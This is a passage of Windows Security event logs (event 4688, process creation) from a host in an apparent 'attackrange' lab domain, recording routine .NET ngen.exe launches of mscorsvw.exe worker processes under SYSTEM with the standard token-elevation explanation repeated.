	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 328 -InterruptEvent 0 -NGENProcess 2fc -Pipe 358 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254843
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3b0 -InterruptEvent 0 -NGENProcess 3b4 -Pipe 35c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254842
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x884
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 358 -Pipe 36c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254841
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3ac -InterruptEvent 0 -NGENProcess 2fc -Pipe 374 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254857
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e4 -InterruptEvent 0 -NGENProcess 3a8 -Pipe 3dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254856
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3a4 -InterruptEvent 0 -NGENProcess 398 -Pipe 348 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254855
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11fc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 314 -InterruptEvent 0 -NGENProcess 3d0 -Pipe 328 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254854
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 39c -InterruptEvent 0 -NGENProcess 3a4 -Pipe 3bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254853
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3c4 -InterruptEvent 0 -NGENProcess 3cc -Pipe 388 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254852
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x248
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 390 -InterruptEvent 0 -NGENProcess 3bc -Pipe 3d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254851
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x32c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3d4 -InterruptEvent 0 -NGENProcess 380 -Pipe 3c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254850
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 380 -InterruptEvent 0 -NGENProcess 2fc -Pipe 3b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254849
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 39c -InterruptEvent 0 -NGENProcess 328 -Pipe 3b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254865
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc78
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 3d0 -Pipe 3f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254864
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3f8 -InterruptEvent 0 -NGENProcess 3fc -Pipe 3f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254863
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3f0 -InterruptEvent 0 -NGENProcess 3f8 -Pipe 314 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254862
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x118c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3a4 -InterruptEvent 0 -NGENProcess 398 -Pipe 3e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254861
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe80
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3a4 -InterruptEvent 0 -NGENProcess 3d4 -Pipe 3e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254860
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1140
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 38c -InterruptEvent 0 -NGENProcess 3d4 -Pipe 3ac -Comment "NGen Worker Process"

